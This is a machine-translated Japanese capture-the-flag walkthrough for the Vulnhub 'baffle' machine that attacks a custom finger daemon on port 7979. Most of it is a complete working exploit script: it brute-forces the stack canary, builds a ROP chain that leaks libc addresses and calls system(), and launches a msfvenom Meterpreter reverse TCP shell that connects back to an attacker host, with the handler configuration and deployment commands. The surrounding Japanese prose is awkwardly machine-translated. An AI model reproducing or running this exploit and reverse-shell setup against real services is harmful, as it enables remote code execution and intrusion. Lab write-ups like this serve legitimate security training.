チャーリーは明らかに旗を持っています。それを得るために残っています。IDAでデーモンを開いて、このデーモンの中身を見てみましょう。
query_user(int fd)
.text:0000000000400B86 ; __int64 __fastcall query_user(int fd) .text:0000000000400B86 public query_user .text:0000000000400B86 query_user proc near ; CODE XREF: main+10D .text:0000000000400B86 .text:0000000000400B86 fd = dword ptr -4E4h .text:0000000000400B86 file_cntx = qword ptr -4D8h .text:0000000000400B86 s = byte ptr -4D0h .text:0000000000400B86 var_4B0 = byte ptr -4B0h .text:0000000000400B86 file = byte ptr -460h .text:0000000000400B86 buf = byte ptr -3F0h .text:0000000000400B86 var_8 = qword ptr -8 .text:0000000000400B86 .text:0000000000400B86 push rbp .text:0000000000400B87 mov rbp, rsp .text:0000000000400B8A sub rsp, 4F0h .text:0000000000400B91 mov [rbp+fd], edi .text:0000000000400B97 mov rax, fs:28h .text:0000000000400BA0 mov [rbp+var_8], rax .text:0000000000400BA4 xor eax, eax .text:0000000000400BA6 mov dword ptr [rbp+file_cntx], 0 .text:0000000000400BB0 lea rax, [rbp+s] .text:0000000000400BB7 mov edx, 14h ; n .text:0000000000400BBC mov esi, 0 ; c .text:0000000000400BC1 mov rdi, rax ; s .text:0000000000400BC4 call _memset .text:0000000000400BC9 mov edx, [rbp+fd] .text:0000000000400BCF lea rax, [rbp+s] .text:0000000000400BD6 mov esi, offset format ; "Socket fd: %d\n" .text:0000000000400BDB mov rdi, rax ; s .text:0000000000400BDE mov eax, 0 .text:0000000000400BE3 call _sprintf .text:0000000000400BE8 lea rax, [rbp+s] .text:0000000000400BEF mov rdi, rax ; s .text:0000000000400BF2 call _strlen .text:0000000000400BF7 mov rdx, rax ; n .text:0000000000400BFA lea rcx, [rbp+s] .text:0000000000400C01 mov eax, [rbp+fd] .text:0000000000400C07 mov rsi, rcx ; buf .text:0000000000400C0A mov edi, eax ; fd .text:0000000000400C0C call _write .text:0000000000400C11 lea rax, [rbp+buf] .text:0000000000400C18 mov edx, 3E8h ; n .text:0000000000400C1D mov esi, 0 ; c .text:0000000000400C22 mov rdi, rax ; s .text:0000000000400C25 call _memset .text:0000000000400C2A mov edi, offset buf ; "User to query: " .text:0000000000400C2F mov eax, 0 .text:0000000000400C34 call _printf .text:0000000000400C39 mov eax, [rbp+fd] .text:0000000000400C3F mov edx, 0Fh ; n .text:0000000000400C44 mov esi, offset buf ; "User to query: " .text:0000000000400C49 mov edi, eax ; fd .text:0000000000400C4B call _write .text:0000000000400C50 lea rcx, [rbp+buf] .text:0000000000400C57 mov eax, [rbp+fd] .text:0000000000400C5D mov edx, 7D0h ; nbytes .text:0000000000400C62 mov rsi, rcx ; buf .text:0000000000400C65 mov edi, eax ; fd .text:0000000000400C67 call _read .text:0000000000400C6C lea rax, [rbp+buf] .text:0000000000400C73 mov esi, offset reject ; "\n" .text:0000000000400C78 mov rdi, rax ; s .text:0000000000400C7B call _strcspn .text:0000000000400C80 mov [rbp+rax+buf], 0 .text:0000000000400C88 mov eax, [rbp+fd] .text:0000000000400C8E mov edx, 0Ch ; n .text:0000000000400C93 mov esi, offset aChecking___ ; "Checking...\n" .text:0000000000400C98 mov edi, eax ; fd .text:0000000000400C9A call _write .text:0000000000400C9F lea rax, [rbp+file] .text:0000000000400CA6 mov edx, 64h ; n .text:0000000000400CAB mov esi, 0 ; c .text:0000000000400CB0 mov rdi, rax ; s .text:0000000000400CB3 call _memset .text:0000000000400CB8 lea rax, [rbp+buf] .text:0000000000400CBF mov edx, 4 ; n .text:0000000000400CC4 mov esi, offset s2 ; "root" .text:0000000000400CC9 mov rdi, rax ; s1 .text:0000000000400CCC call _strncmp .text:0000000000400CD1 test eax, eax .text:0000000000400CD3 jnz short loc_400CF2 .text:0000000000400CD5 lea rax, [rbp+file] .text:0000000000400CDC mov rcx, 702E2F746F6F722Fh .text:0000000000400CE6 mov [rax], rcx .text:0000000000400CE9 mov dword ptr [rax+8], 6E616Ch .text:0000000000400CF0 jmp short loc_400D1A .text:0000000000400CF2 ; --------------------------------------------------------------------------- .text:0000000000400CF2 .text:0000000000400CF2 loc_400CF2: ; CODE XREF: query_user+14D .text:0000000000400CF2 lea rdx, [rbp+buf] .text:0000000000400CF9 lea rax, [rbp+file] .text:0000000000400D00 mov rcx, rdx .text:0000000000400D03 mov edx, offset aHomeS_plan ; "/home/%s/.plan" .text:0000000000400D08 mov esi, 30 ; maxlen .text:0000000000400D0D mov rdi, rax ; s .text:0000000000400D10 mov eax, 0 .text:0000000000400D15 call _snprintf .text:0000000000400D1A .text:0000000000400D1A loc_400D1A: ; CODE XREF: query_user+16A .text:0000000000400D1A lea rax, [rbp+file] .text:0000000000400D21 mov rsi, rax .text:0000000000400D24 mov edi, offset aPlan_locS ; "plan_loc [%s]\n" .text:0000000000400D29 mov eax, 0 .text:0000000000400D2E call _printf .text:0000000000400D33 lea rax, [rbp+file] .text:0000000000400D3A mov esi, 0 ; oflag .text:0000000000400D3F mov rdi, rax ; file .text:0000000000400D42 mov eax, 0 .text:0000000000400D47 call _open .text:0000000000400D4C mov dword ptr [rbp+file_cntx], eax .text:0000000000400D52 cmp dword ptr [rbp+file_cntx], 0FFFFFFFFh .text:0000000000400D59 jnz short loc_400D77 .text:0000000000400D5B mov eax, [rbp+fd] .text:0000000000400D61 mov edx, 25h ; n .text:0000000000400D66 mov esi, offset aDonTKnowAnythi ; "Don't know anything about this user.\n" .text:0000000000400D6B mov edi, eax ; fd .text:0000000000400D6D call _write .text:0000000000400D72 jmp loc_400DF8 .text:0000000000400D77 ; --------------------------------------------------------------------------- .text:0000000000400D77 .text:0000000000400D77 loc_400D77: ; CODE XREF: query_user+1D3 .text:0000000000400D77 lea rax, [rbp+var_4B0] .text:0000000000400D7E mov edx, 50h ; n .text:0000000000400D83 mov esi, 0 ; c .text:0000000000400D88 mov rdi, rax ; s .text:0000000000400D8B call _memset .text:0000000000400D90 lea rcx, [rbp+var_4B0] .text:0000000000400D97 mov eax, dword ptr [rbp+file_cntx] .text:0000000000400D9D mov edx, 50h ; nbytes .text:0000000000400DA2 mov rsi, rcx ; buf .text:0000000000400DA5 mov edi, eax ; fd .text:0000000000400DA7 call _read .text:0000000000400DAC mov dword ptr [rbp+file_cntx+4], eax .text:0000000000400DB2 lea rax, [rbp+var_4B0] .text:0000000000400DB9 mov rsi, rax .text:0000000000400DBC mov edi, offset aPlanFileS ; "plan file [%s]\n" .text:0000000000400DC1 mov eax, 0 .text:0000000000400DC6 call _printf .text:0000000000400DCB mov eax, dword ptr [rbp+file_cntx+4] .text:0000000000400DD1 movsxd rdx, eax ; n .text:0000000000400DD4 lea rcx, [rbp+var_4B0] .text:0000000000400DDB mov eax, [rbp+fd] .text:0000000000400DE1 mov rsi, rcx ; buf .text:0000000000400DE4 mov edi, eax ; fd .text:0000000000400DE6 call _write .text:0000000000400DEB mov eax, dword ptr [rbp+file_cntx] .text:0000000000400DF1 mov edi, eax ; fd .text:0000000000400DF3 call _close .text:0000000000400DF8 .text:0000000000400DF8 loc_400DF8: ; CODE XREF: query_user+1EC .text:0000000000400DF8 mov eax, 0 .text:0000000000400DFD mov rcx, [rbp+var_8] .text:0000000000400E01 xor rcx, fs:28h .text:0000000000400E0A jz short locret_400E11 .text:0000000000400E0C call ___stack_chk_fail .text:0000000000400E11 ; --------------------------------------------------------------------------- .text:0000000000400E11 .text:0000000000400E11 locret_400E11: ; CODE XREF: query_user+284 .text:0000000000400E11 leave .text:0000000000400E12 retn .text:0000000000400E12 query_user endp
開かれるファイルへのパスを形成するsnprintf関数は、ここで最も興味深いものです。注意深く調べると、最終パスが30-1文字に切り捨てられていることがわかります。したがって、理論的には、任意のファイルを再度読み取ることができます。
bob@baffle:~/binz$ python -c 'print("///////charlie/flag.txt")' | nc localhost 7979
そして、次のフラグを取得します。
ソケットfd:10
クエリするユーザー:チェックしています...
フラグ{i_haz_sriracha_ice_cream}
---
フラグ5(vulnhub)
おそらく、同じメソッドが別のユーザーからフラグをプルすることになります:
bob@baffle:~$ python -c 'print("///////vulnhub/flag.txt")' |nc localhost 7979
ソケットfd:6
クエリするユーザー:チェックしています...
ごめんなさいマリオ。旗は別の城にあります。
---
うまくいきませんでした。検索を続けましょう。前のケースと同様に、ファイルには同じ保護
があります。ただし、いくつかの違いがあります。長い検索の後、回避策「カナリア」を、あなたは第2条つまずくことができます。これとこれ。それらを読んだ後、これは私たちの場合にすぎないことを理解しています。デバッグ中にさまざまな値をこのデーモンに送信すると、1つの機能に気付くことができます。入力した行が「カナリア」に損傷を与えない場合、出力は次のようになります。
クライアント側
Socket fd: 407
User to query: AA
Checking…
Don't know anything about this user.
---
サーバー側
+ connection accepted
+ back in parent
User to query: plan_loc [/home/AA/.plan]
ただし、「カナリア」の損傷が発生すると、結論は次のように変わります。
クライアント側
Socket fd: 408
User to query: AAA.....AAAA
Checking…
Don't know anything about this user.
サーバー側
+ connection accepted
+ back in parent
User to query: plan_loc [/home/AAAAAAAAAAAAAAAAAAAAAAA]
*** stack smashing detected ***: ./ctfingerd terminated
ご覧のとおり、2番目のケースでは、文字"---"は返されません。これは、ブルートフォースカナリアに使用できます。Pythonを使用してYudemを反復処理するために、いくつかの関数を準備します。
まず、データを送信した後、アプリケーションがクラッシュするかどうかの関数が必要です。
#!/usr/bin/python2 import socket from time import sleep from struct import pack, unpack port = 7979 host = 'localhost' def isCrashed(data): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(data) sleep(0.2) req = s.recv(1024) s.shutdown(1) s.close() if '---' not in req: return True return False
必要なオフセットを見つけるには関数が必要です。もちろん、定数で設定することもできますが、動的にもっと
def findCanaryOffset(): min_offset = 0 max_offset = 2000 cur_offset = getCurrentOffset(min_offset, max_offset) while (max_offset - min_offset) > 1: print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset)) send_data = 'A' * cur_offset if isCrashed(send_data): max_offset = cur_offset else: min_offset = cur_offset cur_offset = getCurrentOffset(min_offset, max_offset) return min_offset
ここでは額に触れないでください。
- サービスがクラッシュする場合としない場合の2つの極端な値を取ります。
- それらの間の平均を計算して送信します。
- その後、すべてがシンプルで、クラッシュします-そうでない場合、それは多くのことを意味します-少し
カナリアの値を直接選択するには、次の小さな関数を使用します。
def findCanary(payload): canary = '' for i in range(8): for byte in range(256): char = chr(byte) data = payload + canary + char if not isCrashed(data): canary += char print('[+] Found Canary byte %d: %s' % (i, char.encode('hex'))) break print('[+] Canary found: %s' % (canary.encode('hex'))) return canary
途中で、見つかった中間値が表示されます。
カナリアの検索は、今最も興味深いです。ここで使用されている残りの保護(NX + ASLR)をすべてバイパスするには、ROPガジェットと、必要な関数のアドレス(バイナリ自体とライブラリで使用されるlibc.soの両方)が必要です。ctfingerdにはこの関数がないため、実際には主にシステム関数の正しいアドレスを計算するためにここで必要です。住所を計算するには、次が必要です。
- GOTテーブルのアドレス、ctfingerdに存在する関数
- libc.soが使用するこの関数のあるアドレス
たとえば、memset関数を使用します。そのアドレスをlibcで取得します。これは、以前にsshを介してダウンロードしました。
$ readelf -s libc.so.6 | grep memset@ 838: 0000000000085620 247 FUNC GLOBAL DEFAULT 12 memset@@GLIBC_2.2.5
そして、GOTでの彼女の住所:
$ objdump -R ctfingerd | grep memset 00000000006014e0 R_X86_64_JUMP_SLOT memset
さらに、実際に使用する「エリート」関数は次のとおりです。
$ readelf -s libc.so.6 | grep system 1337: 0000000000041490 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
ctfingerdファイルから@ pltを読み取り、@ pltを書き込む関数も必要です。
gdb-peda$ p write $1 = {<text variable, no debug info>} 0x400920 <write@plt> gdb-peda$ p read $2 = {<text variable, no debug info>} 0x4009b0 <read@plt>
関数を終了し、ROPガジェットの検索に進みます。ここで、システム関数で使用されるレジスタを確認できます。前の段階で既に複数回使用しているペダで検索します。
$ gdb -ex "start" -q ctfingerd gdb-peda$ ropsearch 'pop rsi' Searching for ROP gadget: 'pop rsi' in: binary ranges 0x00401011 : (b'5e415fc3') pop rsi; pop r15; ret gdb-peda$ ropsearch 'pop rdi' Searching for ROP gadget: 'pop rdi' in: binary ranges 0x00401013 : (b'5fc3') pop rdi; ret
そして、もう1つ、シェルコードをメモリに書き込むアドレスが必要です。書き込み可能な範囲を確認しましょう。
gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00402000 r-xp /home/remnux/ctfingerd 0x00601000 0x00602000 rw-p /home/remnux/ctfingerd
すべてが、2つの部分で構成されるエクスプロイトの形成の準備ができています。最初に、ソケット記述子を取得し、libcのアドレスを計算します。
# Get Socket FD s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) req = s.recv(1024) socketFD = parseSockFD(req) # Make payload payload = canaryOffsetBuf # some trash payload += canary # canary payload += pack("<Q", 0x00) # Owerwrite rbp payload += pack('<Q', pop_rdi) # pop rdi, ret payload += pack('<Q', socketFD) # STDOUT to socket payload += pack("<Q", pop_rsi) # pop rsi payload += pack('<Q', memsetGOT) # Address read in GOT payload += pack("<Q", 0x00) # Owerwrite r15 payload += pack("<Q", writePltOffset) # return to write@plt # Send First Payload s.send(payload) sleep(0.1) req = s.recv(1024) print('[+] Response from server: %s ' % req) s.shutdown(1) s.close() # Calculate addresses req = req.split('\n') memsetAddr = unpack("<Q", req[2][:8]) print('[+] Real address for memset(): %s' % hex(memsetAddr[0])) libcBase = (memsetAddr[0] - libcMemsetOffset) print('[+] Real address for libc: %s' % hex(libcBase)) systemAddr = (libcBase + libcSystemOffset) print('[+] Real address for sysem(): %s' % hex(systemAddr))
出力をソケットにリダイレクトします。2番目の部分では、シェルをメモリに直接書き込み、systemを呼び出します。
socketFD += 1 # Save shellcode to writable memory payload = canaryOffsetBuf # some trash payload += canary # canary payload += pack("<Q", 0x00) # Owerwrite rbp payload += pack("<Q", pop_rdi) # pop rdi payload += pack("<Q", socketFD) # socket to read from payload += pack("<Q", pop_rsi) # pop rsi payload += pack("<Q", free_space) # location to write to payload += pack("<Q", socketFD) # junk for r15 payload += pack("<Q", readPltOffset) # return to read() # Call system() payload += pack("<Q", pop_rdi) payload += pack("<Q", free_space) payload += pack("<Q", systemAddr) # Send Second Payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) sleep(0.1) print('[+] Run reverse shell') cmd = '/tmp/x64mettle\x00' s.send(cmd)
すべてを組み合わせて、いくつかの調整を行うことで、すぐに活用できるようになります。
exploit7979.py
#!/usr/bin/python2 import socket from time import sleep from struct import pack, unpack port = 7979 host = 'localhost' def getCurrentOffset(min_offset, max_offset): return min_offset + (max_offset - min_offset) // 2 def isCrashed(data): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(data) sleep(0.2) req = s.recv(1024) s.shutdown(1) s.close() if '---' not in req: return True return False def findCanaryOffset(): min_offset = 0 max_offset = 2000 cur_offset = getCurrentOffset(min_offset, max_offset) while (max_offset - min_offset) > 1: print('[*] Max Offset: %s Min Offset: %s' % (max_offset, min_offset)) send_data = 'A' * cur_offset if isCrashed(send_data): max_offset = cur_offset else: min_offset = cur_offset cur_offset = getCurrentOffset(min_offset, max_offset) return min_offset def findCanary(payload): canary = '' for i in range(8): for byte in range(256): char = chr(byte) data = payload + canary + char if not isCrashed(data): canary += char print('[+] Found Canary byte %d: %s' % (i, char.encode('hex'))) break print('[+] Canary found: %s' % (canary.encode('hex'))) return canary def parseSockFD(resp): # resp = 'Socket fd: 7\nUser to query: ' => # ['Socket fd', ' 7\nUser to query', ' '] => # [' 7', 'User to query'] => '7' fd = resp.split(':')[1].split('\n')[0].strip() return int(fd) # Detect Canary min_off = findCanaryOffset() canaryOffsetBuf = 'A' * min_off canary = findCanary(canaryOffsetBuf) # Offsets libcSystemOffset = 0x41490 writePltOffset = 0x400920 pop_rsi = 0x401011 pop_rdi = 0x401013 free_space = 0x6012c0 readPltOffset = 0x4009b0 memsetGOT = 0x6014e0 libcMemsetOffset = 0x85620 # Get Socket FD s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) req = s.recv(1024) socketFD = parseSockFD(req) # Make payload payload = canaryOffsetBuf # some trash payload += canary # canary payload += pack("<Q", 0x00) # Owerwrite rbp payload += pack('<Q', pop_rdi) # pop rdi, ret payload += pack('<Q', socketFD) # STDOUT to socket payload += pack("<Q", pop_rsi) # pop rsi payload += pack('<Q', memsetGOT) # Address read in GOT payload += pack("<Q", 0x00) # Owerwrite r15 payload += pack("<Q", writePltOffset) # return to write@plt # Send First Payload s.send(payload) sleep(0.1) req = s.recv(1024) print('[+] Response from server: %s ' % req) s.shutdown(1) s.close() # Calculate addresses req = req.split('\n') memsetAddr = unpack("<Q", req[2][:8]) print('[+] Real address for memset(): %s' % hex(memsetAddr[0])) libcBase = (memsetAddr[0] - libcMemsetOffset) print('[+] Real address for libc: %s' % hex(libcBase)) systemAddr = (libcBase + libcSystemOffset) print('[+] Real address for sysem(): %s' % hex(systemAddr)) socketFD += 1 # Save shellcode to writable memory payload = canaryOffsetBuf # some trash payload += canary # canary payload += pack("<Q", 0x00) # Owerwrite rbp payload += pack("<Q", pop_rdi) # pop rdi payload += pack("<Q", socketFD) # socket to read from payload += pack("<Q", pop_rsi) # pop rsi payload += pack("<Q", free_space) # location to write to payload += pack("<Q", socketFD) # junk for r15 payload += pack("<Q", readPltOffset) # return to read() # Call system() payload += pack("<Q", pop_rdi) payload += pack("<Q", free_space) payload += pack("<Q", systemAddr) # Send Second Payload s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload) sleep(0.1) print('[+] Run reverse shell') cmd = '/tmp/x64mettle\x00' s.send(cmd)
ここで、msfvenomを使用して、実行するバイナリを作成します。
$ sudo msfvenom -p linux/x64/mettle/reverse_tcp lhost=192.168.1.124 lport=4444 -f elf > ./x64mettle
また、msfconsoleの構成:
$ cat meterpreter.rc use exploit/multi/handler set payload linux/x64/mettle/reverse_tcp set lhost 192.168.1.124 set lport 4444 run
必要なすべてのファイルをssh経由で攻撃されたホストに注ぎます:
scp x64mettle bob@192.168.1.190:/tmp/ scp exploit7979.py bob@192.168.1.190:/tmp/ ssh bob@192.168.1.190 "chmod 777 /tmp/x64mettle" ssh bob@192.168.1.190 "chmod +x /tmp/exploit7979.py"
Metasploitを起動し、攻撃を受けているホストでエクスプロイトを起動し、結論をお楽しみください。
bob@baffle:/tmp$ python exploit7979.py [*] Max Offset: 2000 Min Offset: 0 [*] Max Offset: 2000 Min Offset: 1000 [*] Max Offset: 1500 Min Offset: 1000 [*] Max Offset: 1250 Min Offset: 1000 [*] Max Offset: 1125 Min Offset: 1000 [*] Max Offset: 1062 Min Offset: 1000 [*] Max Offset: 1031 Min Offset: 1000 [*] Max Offset: 1015 Min Offset: 1000 [*] Max Offset: 1007 Min Offset: 1000 [*] Max Offset: 1003 Min Offset: 1000 [+] Found Canary byte 0: 00 [+] Found Canary byte 1: 17 [+] Found Canary byte 2: 40 [+] Found Canary byte 3: 48 [+] Found Canary byte 4: 6b [+] Found Canary byte 5: 82 [+] Found Canary byte 6: 0e [+] Found Canary byte 7: 73 [+] Canary found: 001740486b820e73 [+] Response from server: User to query: Checking... Don't know anything about this user. 6 @ "! P [+] Real address for memset(): 0x7f109f173620 [+] Real address for libc: 0x7f109f0ee000 [+] Real address for sysem(): 0x7f109f12f490 [+] Run reverse shell
最後に、Meterpreterのコンソールを入手し
ます。すぐに旗、お祝いの言葉、鳥を探します。